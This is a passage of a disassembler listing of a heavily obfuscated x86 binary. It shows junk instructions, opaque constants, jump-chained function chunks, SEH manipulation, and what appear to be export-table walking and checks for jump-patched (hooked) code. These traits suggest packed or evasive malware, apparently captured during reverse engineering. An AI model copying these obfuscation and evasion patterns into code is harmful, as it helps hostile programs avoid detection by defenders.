; START	OF FUNCTION CHUNK FOR sub_40E112


loc_40A2D6:				; CODE XREF: sub_40E112+15j
		jmp	nullsub_62
; END OF FUNCTION CHUNK	FOR sub_40E112
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4091CB


loc_40A2DB:				; CODE XREF: sub_4091CB+716Ej
		jz	loc_409660
		push	ebp
		xor	ecx, edx
		jmp	loc_40DFF3
; END OF FUNCTION CHUNK	FOR sub_4091CB
; ---------------------------------------------------------------------------


loc_40A2E9:				; CODE XREF: o45kw3t9:0040CDC8j
		sub	al, 99h
		push	18D6CFBDh
		pop	edx
		jmp	loc_40D42F
; ---------------------------------------------------------------------------


loc_40A2F6:				; CODE XREF: o45kw3t9:0040A676j
		cmp	dword ptr [eax-4], 4
		jnz	loc_40A9D9
		cmp	dword ptr [ebp-10h], 0
		jnz	loc_40B6DD
		mov	eax, [ebp+8]
		push	eax
; START	OF FUNCTION CHUNK FOR sub_409726


loc_40A30E:				; CODE XREF: sub_409726:loc_40E806j
		jmp	loc_40D8A3
; END OF FUNCTION CHUNK	FOR sub_409726

; =============== S U B	R O U T	I N E =======================================



sub_40A313	proc near		; CODE XREF: o45kw3t9:00409786j
					; sub_40AD44+3p

; FUNCTION CHUNK AT 0040C1F2 SIZE 0000000C BYTES

		mov	[esp+0], esi
		pop	esi
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		jmp	loc_40C1F2
sub_40A313	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_40A322	proc near		; CODE XREF: sub_40ABFA:loc_40B6ABj

; FUNCTION CHUNK AT 0040B567 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040CEB3 SIZE 0000001A BYTES

		add	esp, 0FFFFFFD8h
		mov	[ebp-20h], eax
		mov	eax, [ebp-20h]
		mov	[ebp-28h], eax
		mov	dword ptr [ebp-14h], 4
		mov	eax, [ebp-14h]
		mov	[ebp-4], eax
		jmp	loc_40CEB3
sub_40A322	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FCB4


loc_40A340:				; CODE XREF: sub_40FCB4+7j
		mov	esp, [esp+arg_4]
; END OF FUNCTION CHUNK	FOR sub_40FCB4
; START	OF FUNCTION CHUNK FOR sub_40CB74


loc_40A344:				; CODE XREF: sub_40AB88-1CEj
					; sub_40C674-1CAFj ...
		xor	eax, eax


loc_40A346:				; CODE XREF: sub_40CB74-20D6j
					; sub_40C674-1021j
		pop	large dword ptr	fs:0
		pop	edx
		pop	ecx
		jmp	loc_40D846
; END OF FUNCTION CHUNK	FOR sub_40CB74
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4094DF


loc_40A354:				; CODE XREF: sub_4094DF+4j
		mov	ebp, esp
		call	sub_40FB55
; END OF FUNCTION CHUNK	FOR sub_4094DF
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40A35B:				; CODE XREF: sub_40C674-3087j
		jmp	loc_40C4F5
; END OF FUNCTION CHUNK	FOR sub_40C674
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_54. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------

locret_40A361:				; CODE XREF: o45kw3t9:0040DA50j
		retn
; ---------------------------------------------------------------------------


loc_40A362:				; CODE XREF: o45kw3t9:0040B819j
		mov	edi, 0EDAC00F3h
		jmp	loc_40C0DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B5CB


loc_40A36C:				; CODE XREF: sub_40B5CB+20E6j
		xchg	edi, esi
		test	edi, 250E58A6h
		jmp	loc_40CB13
; END OF FUNCTION CHUNK	FOR sub_40B5CB
; ---------------------------------------------------------------------------
		or	esi, ebx
		xor	esi, eax
		jmp	sub_40AF39

; =============== S U B	R O U T	I N E =======================================



sub_40A382	proc near		; CODE XREF: o45kw3t9:0040A885j
					; sub_40BC53+2C36p

; FUNCTION CHUNK AT 004093A7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040A6D3 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0040B5F2 SIZE 0000002A BYTES

		xchg	edx, [esp+0]
		pop	edx
		or	eax, edx
		mov	[ebp-1Ch], eax
		jmp	loc_40B5F2
sub_40A382	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40BC53


loc_40A390:				; CODE XREF: sub_40BC53:loc_40E86Dj
		cmp	dword ptr [ebp-1Ch], 0Fh
		jnz	loc_40B607
		mov	eax, [ebp-1Ch]
		jmp	loc_40E6E3
; END OF FUNCTION CHUNK	FOR sub_40BC53

; =============== S U B	R O U T	I N E =======================================



sub_40A3A2	proc near		; CODE XREF: sub_40C298+3p
					; sub_40B14E+1ACDj

; FUNCTION CHUNK AT 00409061 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 004092A8 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00409580 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00409DF0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409E88 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040A192 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A7AF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040AED5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C2BC SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040C4B3 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040C752 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040CC53 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D4DA SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040DB6F SIZE 00000003 BYTES
; FUNCTION CHUNK AT 0040E930 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0040EC00 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040FB82 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040FF44 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004101C7 SIZE 0000000A BYTES

		xchg	edi, [esp+0]
		pop	edi
		jns	sub_40B179
		add	esp, 0FFFFFFF4h
		jmp	loc_409DF0
sub_40A3A2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B76E


loc_40A3B4:				; CODE XREF: sub_40B76E:loc_40DA98j
		xor	[esp+0Ch+var_C], 0A74DBA21h
		push	eax
		lea	eax, sub_40D587
		push	4A3D56FFh
		mov	[esp+14h+var_14], eax
		push	0
		jmp	loc_40D73B
; END OF FUNCTION CHUNK	FOR sub_40B76E
; ---------------------------------------------------------------------------
		and	esi, ebp
		cmp	ebp, 0DC089DD5h
		jmp	loc_40DD89
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DCEE


loc_40A3DE:				; CODE XREF: sub_40DCEE:loc_40EB2Dj
		push	offset loc_40E16E
		jmp	locret_40D845
; END OF FUNCTION CHUNK	FOR sub_40DCEE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409726


loc_40A3E8:				; CODE XREF: sub_409726+6819j
		jnz	loc_40A69C
		jmp	loc_40FA1D
; END OF FUNCTION CHUNK	FOR sub_409726

; =============== S U B	R O U T	I N E =======================================



sub_40A3F3	proc near		; CODE XREF: sub_40FBD0:loc_40AA62p
					; sub_40BC0E+Aj

; FUNCTION CHUNK AT 0040BC95 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040C88A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CD50 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0040E26A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040FA01 SIZE 00000005 BYTES

		mov	[esp+0], eax
		pop	eax
		cmp	byte ptr [eax],	0E9h
		jz	loc_40D782
		mov	eax, [ebp-4]
		jmp	loc_40E26A
sub_40A3F3	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409FA8


loc_40A408:				; CODE XREF: sub_409FA8+4BA8j
		jno	loc_409E01


loc_40A40E:				; CODE XREF: sub_409FA8:loc_40A19Dj
					; sub_40CD2E-12DBj ...
		jmp	loc_40CB53
; ---------------------------------------------------------------------------


loc_40A413:				; CODE XREF: sub_409FA8+10C1j
					; sub_40D740+29B1j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_409FA8

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A416	proc near		; CODE XREF: sub_409CFF+Ap
					; sub_40D2B4:loc_40FAFAj

; FUNCTION CHUNK AT 00409522 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409C90 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0040C021 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CC6E SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040DBBB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040F11E SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040FC52 SIZE 0000000A BYTES

		push	ebp
		mov	ebp, esp
		push	ecx
		jmp	loc_409522
sub_40A416	endp

; ---------------------------------------------------------------------------
		jo	nullsub_28
		jmp	loc_40C606
; ---------------------------------------------------------------------------
		add	eax, ebp
		jmp	sub_40FA84
; ---------------------------------------------------------------------------
		adc	ebp, ecx
		cmp	edi, eax
		jmp	loc_40EC5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_40A43A:				; CODE XREF: sub_40F02A-5CFDj
					; sub_40EC83-58F7j ...
		jmp	sub_40AE3B
; END OF FUNCTION CHUNK	FOR sub_40EC83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40F02A


loc_40A43F:				; CODE XREF: sub_40F02A:loc_40A90Cj
					; sub_40E915+Fj
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40F02A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40928F


loc_40A442:				; CODE XREF: sub_40928F+14j
		jmp	loc_40C0FF
; END OF FUNCTION CHUNK	FOR sub_40928F

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40A447	proc near		; CODE XREF: sub_40AEC0+6p
					; sub_40BB73:loc_40BACAp

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0040D100 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040DF21 SIZE 0000000B BYTES

		push	ebp


loc_40A448:				; CODE XREF: o45kw3t9:0040FC3Fj
		mov	ebp, esp
		push	ecx
		jmp	loc_40D100
sub_40A447	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D34B


loc_40A450:				; CODE XREF: sub_40D34B:loc_40B6B0j
		and	edi, 0C4B1D656h
		rol	edi, 5
		add	edi, 0EE403E0Eh
		xchg	edi, [esp+0]
		jmp	sub_40E858
; END OF FUNCTION CHUNK	FOR sub_40D34B

; =============== S U B	R O U T	I N E =======================================



sub_40A467	proc near		; CODE XREF: sub_40E749+3j

; FUNCTION CHUNK AT 0040ACE0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040CE95 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040EE65 SIZE 0000001A BYTES

		add	esp, 0FFFFFFECh
		call	sub_40E112


loc_40A46F:				; CODE XREF: sub_40BFBB+2C73j
		jmp	loc_40EE65
sub_40A467	endp


; =============== S U B	R O U T	I N E =======================================



sub_40A474	proc near		; CODE XREF: sub_4097CD+Ej
					; sub_40D368-34EFp

; FUNCTION CHUNK AT 0040AE2C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040D195 SIZE 0000000A BYTES

		mov	[esp+0], eax
		pop	eax
		mov	eax, ds:dword_40E42C
		or	eax, eax
		jnz	loc_40D195
		call	sub_40CEFE
		mov	edx, 0B9726E5Ah
		jmp	loc_40AE2C
sub_40A474	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40A495:				; CODE XREF: o45kw3t9:loc_40C54Dj
		jz	loc_40FD99
		jmp	loc_40E7F8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_89. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------


loc_40A4A1:				; CODE XREF: o45kw3t9:0040C082j
		jmp	loc_40BA5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40DE71


loc_40A4A6:				; CODE XREF: sub_40DE71:loc_40DE7Aj
		call	sub_40C298
		pop	edx
		pop	eax
		push	ebx
		push	0BE10DC2Dh
		pop	ebx
		rol	ebx, 1Eh
		jmp	loc_40AEEA
; END OF FUNCTION CHUNK	FOR sub_40DE71
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A551


loc_40A4BC:				; CODE XREF: sub_40A551:loc_40B1BDj
		mov	byte ptr [eax],	64h
		inc	dword ptr [ebp-20h]
		call	sub_409ED2
; END OF FUNCTION CHUNK	FOR sub_40A551
; START	OF FUNCTION CHUNK FOR sub_40988C


loc_40A4C7:				; CODE XREF: sub_40988C:loc_40EDBBj
		jmp	loc_40BFE3
; END OF FUNCTION CHUNK	FOR sub_40988C

; =============== S U B	R O U T	I N E =======================================



sub_40A4CC	proc near		; DATA XREF: sub_40BB28:loc_40C79Fo

; FUNCTION CHUNK AT 0040D19F SIZE 00000005 BYTES

		pop	edx
		call	edx


loc_40A4CF:				; CODE XREF: sub_409FA8:loc_40AD95j
		xor	eax, eax
		mov	[ebp-4], eax
		mov	eax, [ebp-4]
		pop	ecx
		pop	ebp
		jmp	loc_40D19F
sub_40A4CC	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40A4DE:				; CODE XREF: o45kw3t9:0040C8B5j
		jo	loc_409E78
		test	edx, ebx
		jmp	loc_40D262
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40CC98


loc_40A4EB:				; CODE XREF: sub_40CC98+Bj
		pop	ebp
		push	0EA3257ABh
		pop	eax
		and	eax, 85D2C223h
		jmp	loc_409DEB
; END OF FUNCTION CHUNK	FOR sub_40CC98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B5CB


loc_40A4FD:				; CODE XREF: sub_40B5CB+1550j
		jnb	loc_40E9BC


loc_40A503:				; CODE XREF: sub_40B5CB:loc_40D6ABj
		push	76EE1730h
		sub	eax, ebp
		jmp	loc_40ED1B
; END OF FUNCTION CHUNK	FOR sub_40B5CB
; ---------------------------------------------------------------------------
		mov	eax, [ecx]
		test	edx, ebp
		jmp	loc_409424
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E98E


loc_40A518:				; CODE XREF: sub_40E98E-28D2j
		jns	loc_40D129
		jmp	loc_40DD2E
; END OF FUNCTION CHUNK	FOR sub_40E98E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A742


loc_40A523:				; CODE XREF: sub_40A742:loc_40AE08j
		add	eax, ebp
		add	eax, 0C3C1797h
		mov	eax, [eax]
		pop	ecx
		pop	ebp
		jmp	loc_40D27F
; END OF FUNCTION CHUNK	FOR sub_40A742
; ---------------------------------------------------------------------------
		push	offset loc_409F38
		jmp	locret_40AF8A
; ---------------------------------------------------------------------------


loc_40A53E:				; DATA XREF: sub_40D740+839o
		pop	esi
		pushf
		push	2B403B3Ah
		pop	eax
		add	eax, 0F3149A09h
		jmp	loc_40C282

; =============== S U B	R O U T	I N E =======================================



sub_40A551	proc near		; CODE XREF: o45kw3t9:0040A8E1j
					; sub_40E0E0+1B8Fp

; FUNCTION CHUNK AT 0040A4BC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040A7A0 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0040B1BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C155 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040C419 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040C573 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 0040D1F9 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040D493 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0040EA33 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 004101FE SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0041022A SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		mov	edx, [edx+1Ch]
		add	edx, [ebp-4]


loc_40A55B:				; CODE XREF: sub_40C674-1C7Dj
		add	eax, edx
		mov	eax, [eax]
		add	eax, [ebp-4]
		mov	[ebp-0Ch], eax
		jmp	loc_40C573
sub_40A551	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B0F3


loc_40A56A:				; CODE XREF: sub_40B0F3+Aj
		push	eax
		call	sub_40943A


loc_40A570:				; CODE XREF: sub_40C8E8+Aj
		jmp	loc_40DFCD
; END OF FUNCTION CHUNK	FOR sub_40B0F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E0E0


loc_40A575:				; CODE XREF: sub_40E0E0-315Bj
		push	edx
		push	eax
		jmp	loc_409D8A
; ---------------------------------------------------------------------------


loc_40A57C:				; CODE XREF: sub_40E0E0-2C7Ej
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		jmp	loc_40FF13
; END OF FUNCTION CHUNK	FOR sub_40E0E0
; ---------------------------------------------------------------------------

locret_40A589:				; CODE XREF: o45kw3t9:loc_40EA91j
		retn
; ---------------------------------------------------------------------------
		xor	ebp, eax
		jmp	sub_409600
; ---------------------------------------------------------------------------


loc_40A591:				; DATA XREF: sub_4091CB:loc_40DFF3o
		jmp	sub_40D996
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4091CB


loc_40A596:				; CODE XREF: o45kw3t9:0040AFCAj
					; sub_4091CB+5DF1j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_4091CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40A599:				; CODE XREF: sub_40D740+DA8j
		jmp	loc_40B97C
; END OF FUNCTION CHUNK	FOR sub_40D740
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_114. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B56D


loc_40A59F:				; CODE XREF: sub_40B56D+4953j
		jmp	loc_40D506
; END OF FUNCTION CHUNK	FOR sub_40B56D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40939B


loc_40A5A4:				; CODE XREF: sub_40939B+41C9j
		jmp	loc_40B550
; END OF FUNCTION CHUNK	FOR sub_40939B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40A5A9:				; CODE XREF: sub_40D740-1BFBj
		jmp	loc_40976B
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_40A5AE	proc near		; DATA XREF: o45kw3t9:004097ECo

; FUNCTION CHUNK AT 00409F52 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C915 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040EB32 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0040EEAF SIZE 00000006 BYTES

		add	edx, ebp
		add	edx, 0E2CA095Ah
		mov	edx, [edx]
		imul	byte ptr [edx]
		cmp	al, 0A4h
		jz	loc_40C955


loc_40A5C2:				; CODE XREF: sub_40D740:loc_40A1C3j
		jmp	loc_409F52
sub_40A5AE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FDEF


loc_40A5C7:				; CODE XREF: sub_40FDEF:loc_40D516j
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		mov	[ebp-1], al
		cmp	byte ptr [ebp-1], 0
		jz	loc_40FBF2
		jmp	loc_40F0D4
; END OF FUNCTION CHUNK	FOR sub_40FDEF

; =============== S U B	R O U T	I N E =======================================



sub_40A5DE	proc near		; CODE XREF: sub_40D740-45CFp
					; o45kw3t9:00409A9Ej ...

; FUNCTION CHUNK AT 0040CFB4 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D5FF SIZE 00000017 BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	dword ptr [ebp-0Ch], 1


loc_40A5E9:				; CODE XREF: sub_4097FC+43F3j
					; sub_40942A+6E33j
		push	1E3EE242h
		pop	eax
		sub	eax, 2B95465Ch
		xor	eax, 0EC142625h
		jmp	loc_40CFB4
sub_40A5DE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E692


loc_40A600:				; CODE XREF: sub_40E692+Ej
		jnz	loc_40D5DE
		jmp	loc_40FF55
; END OF FUNCTION CHUNK	FOR sub_40E692
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40FE1A


loc_40A60B:				; CODE XREF: sub_40FE1A+11j
		xor	edx, edx
		push	edx
		push	eax
; END OF FUNCTION CHUNK	FOR sub_40FE1A
; START	OF FUNCTION CHUNK FOR sub_40ECE1


loc_40A60F:				; CODE XREF: sub_40ECE1:loc_40BE64j
		mov	eax, [ebp-8]
		cdq
		add	eax, [esp+8+var_8]
		adc	edx, [esp+8+var_4]
		add	esp, 8
		jmp	loc_40AA02
; END OF FUNCTION CHUNK	FOR sub_40ECE1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40943A


loc_40A622:				; CODE XREF: sub_40943A:loc_40C543j
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		jnz	loc_40908E
		lea	eax, [ebp-125h]
		push	eax


loc_40A636:				; CODE XREF: sub_40C298:loc_40AF90j
		call	sub_40909E
		jmp	loc_40908B
; END OF FUNCTION CHUNK	FOR sub_40943A
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_104. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40AD7A


loc_40A641:				; CODE XREF: o45kw3t9:loc_40B148j
					; sub_40AD7A:loc_40D51Bj
		sub	edx, 0D2F76F26h
		rol	edx, 1Fh
; END OF FUNCTION CHUNK	FOR sub_40AD7A
; START	OF FUNCTION CHUNK FOR sub_40EC83


loc_40A64A:				; CODE XREF: sub_40EC83:loc_40D467j
		xor	edx, 5487AFC2h
		add	edx, ebp
		add	edx, 0C907E784h
		mov	[edx], eax
		pop	edx
		jmp	loc_40DBA8
; END OF FUNCTION CHUNK	FOR sub_40EC83
; ---------------------------------------------------------------------------


loc_40A660:				; CODE XREF: o45kw3t9:loc_409CBDj
		jnb	loc_40BEA3
		mov	eax, [ebp+8]
		cmp	dword ptr [eax-14h], 4
		jnz	loc_40A9D9
		mov	eax, [ebp+8]
		jmp	loc_40A2F6
; ---------------------------------------------------------------------------
		push	0EFF94425h
		jmp	sub_4101E6
; ---------------------------------------------------------------------------


loc_40A685:				; DATA XREF: sub_40CBFC:loc_409345o
		cmp	byte ptr [eax],	0F1h
		jnz	loc_40A693
; START	OF FUNCTION CHUNK FOR sub_40C674


loc_40A68E:				; CODE XREF: sub_40C674-17E9j
					; sub_40E98E:loc_40C0B6j ...
		jmp	loc_40CB6C
; END OF FUNCTION CHUNK	FOR sub_40C674
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40E98E


loc_40A693:				; CODE XREF: o45kw3t9:0040A688j
					; sub_40E98E+5j
		pop	ecx
		pop	ebp
		retn
; END OF FUNCTION CHUNK	FOR sub_40E98E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40D740


loc_40A696:				; CODE XREF: sub_40D740+99Bj
		jl	loc_40B1F2


loc_40A69C:				; CODE XREF: sub_409726:loc_40A3E8j
		push	680B8226h
		pop	eax
		or	eax, 0F00E27ADh
		xor	eax, 0B71F738Fh
		add	eax, ebp
		add	eax, 0B0EF2BDCh
		jmp	loc_40CF3D
; END OF FUNCTION CHUNK	FOR sub_40D740

; =============== S U B	R O U T	I N E =======================================



sub_40A6BB	proc near		; CODE XREF: sub_40C7AF+Ap
					; o45kw3t9:0040FF65j

; FUNCTION CHUNK AT 0040C5CC SIZE 00000005 BYTES

		mov	[esp+0], edi
		pop	edi
		add	eax, ebp
		add	eax, 0DBAD7B48h
		mov	eax, [eax]
		push	offset loc_40E59B
		jmp	loc_40C5CC
sub_40A6BB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A382


loc_40A6D3:				; CODE XREF: sub_40A382-FD7j
		jz	loc_40AC8C
		push	ebp
		mov	eax, [ebp-20h]
		call	sub_40E749
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_40AC8C
; END OF FUNCTION CHUNK	FOR sub_40A382
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40943A


loc_40A6EB:				; CODE XREF: sub_40943A:loc_409F9Ej
		mov	[ebp-0Ch], eax
		call	sub_40EED4


loc_40A6F3:				; CODE XREF: sub_40D32E-C7Cj
		jmp	nullsub_83
; END OF FUNCTION CHUNK	FOR sub_40943A

; =============== S U B	R O U T	I N E =======================================



sub_40A6F8	proc near		; CODE XREF: sub_40E692:loc_40C891j
					; sub_40D740+1EFp

; FUNCTION CHUNK AT 0040906D SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0040A766 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0040B431 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040B87E SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040B9CB SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0040C02B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C51F SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040D528 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040D9BB SIZE 0000000B BYTES

		xchg	eax, [esp+0]
		pop	eax
		mov	eax, ds:dword_40E3CC
		or	eax, eax
		jnz	loc_40D533
		jmp	loc_40B87E
sub_40A6F8	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_40A70F:				; CODE XREF: o45kw3t9:loc_40B9ADj
					; o45kw3t9:0040E084j
		jb	loc_40E37C

; =============== S U B	R O U T	I N E =======================================



sub_40A715	proc near		; CODE XREF: sub_40AC2F:loc_40FDBCp

; FUNCTION CHUNK AT 004091D4 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0040B4D1 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C85F SIZE 0000000E BYTES

		mov	[esp+0], esi
		pop	esi
		mov	eax, [ebp-4]
		jmp	loc_40B4D1
sub_40A715	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_409E37


loc_40A721:				; CODE XREF: sub_409E37+Ej
		mov	eax, [eax]
		push	offset loc_40C7BE
		jmp	loc_40C234
; END OF FUNCTION CHUNK	FOR sub_409E37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40B23F


loc_40A72D:				; CODE XREF: sub_40B23F+Cj
		or	eax, eax
		jnz	loc_40F06F
		jmp	loc_409DE6
; END OF FUNCTION CHUNK	FOR sub_40B23F
; ---------------------------------------------------------------------------
		shr	esi, 19h
		jmp	loc_40C672

; =============== S U B	R O U T	I N E =======================================



sub_40A742	proc near		; CODE XREF: sub_40A313+1EE1p
					; o45kw3t9:0040D62Dj

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 00409391 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00409527 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 004095CD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409693 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0040971B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409876 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00409F57 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040A0F7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040A523 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040AE02 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0040B1F7 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0040B52E SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0040BAFC SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0040C2AB SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0040C5EC SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040C69B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040D27F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040E6A5 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0040EBE9 SIZE 00000005 BYTES

		mov	[esp+0], esi
		pop	esi
		jb	loc_40B52E
		sub	al, 99h
		mov	edx, [ebp-4]
		imul	byte ptr [edx]
		jmp	loc_40BAFC
sub_40A742	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40909E


loc_40A758:				; CODE XREF: sub_40909E+830j
		cmp	byte ptr [eax],	0
		jnz	loc_40CDED
		jmp	loc_40AB78
; END OF FUNCTION CHUNK	FOR sub_40909E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_40A6F8


loc_40A766:				; CODE XREF: sub_40A6F8+12D5j
		jl	loc_40C51F


loc_40A76C:				; CODE XREF: sub_40A6F8:loc_40B431j
		call	sub_40CEFE
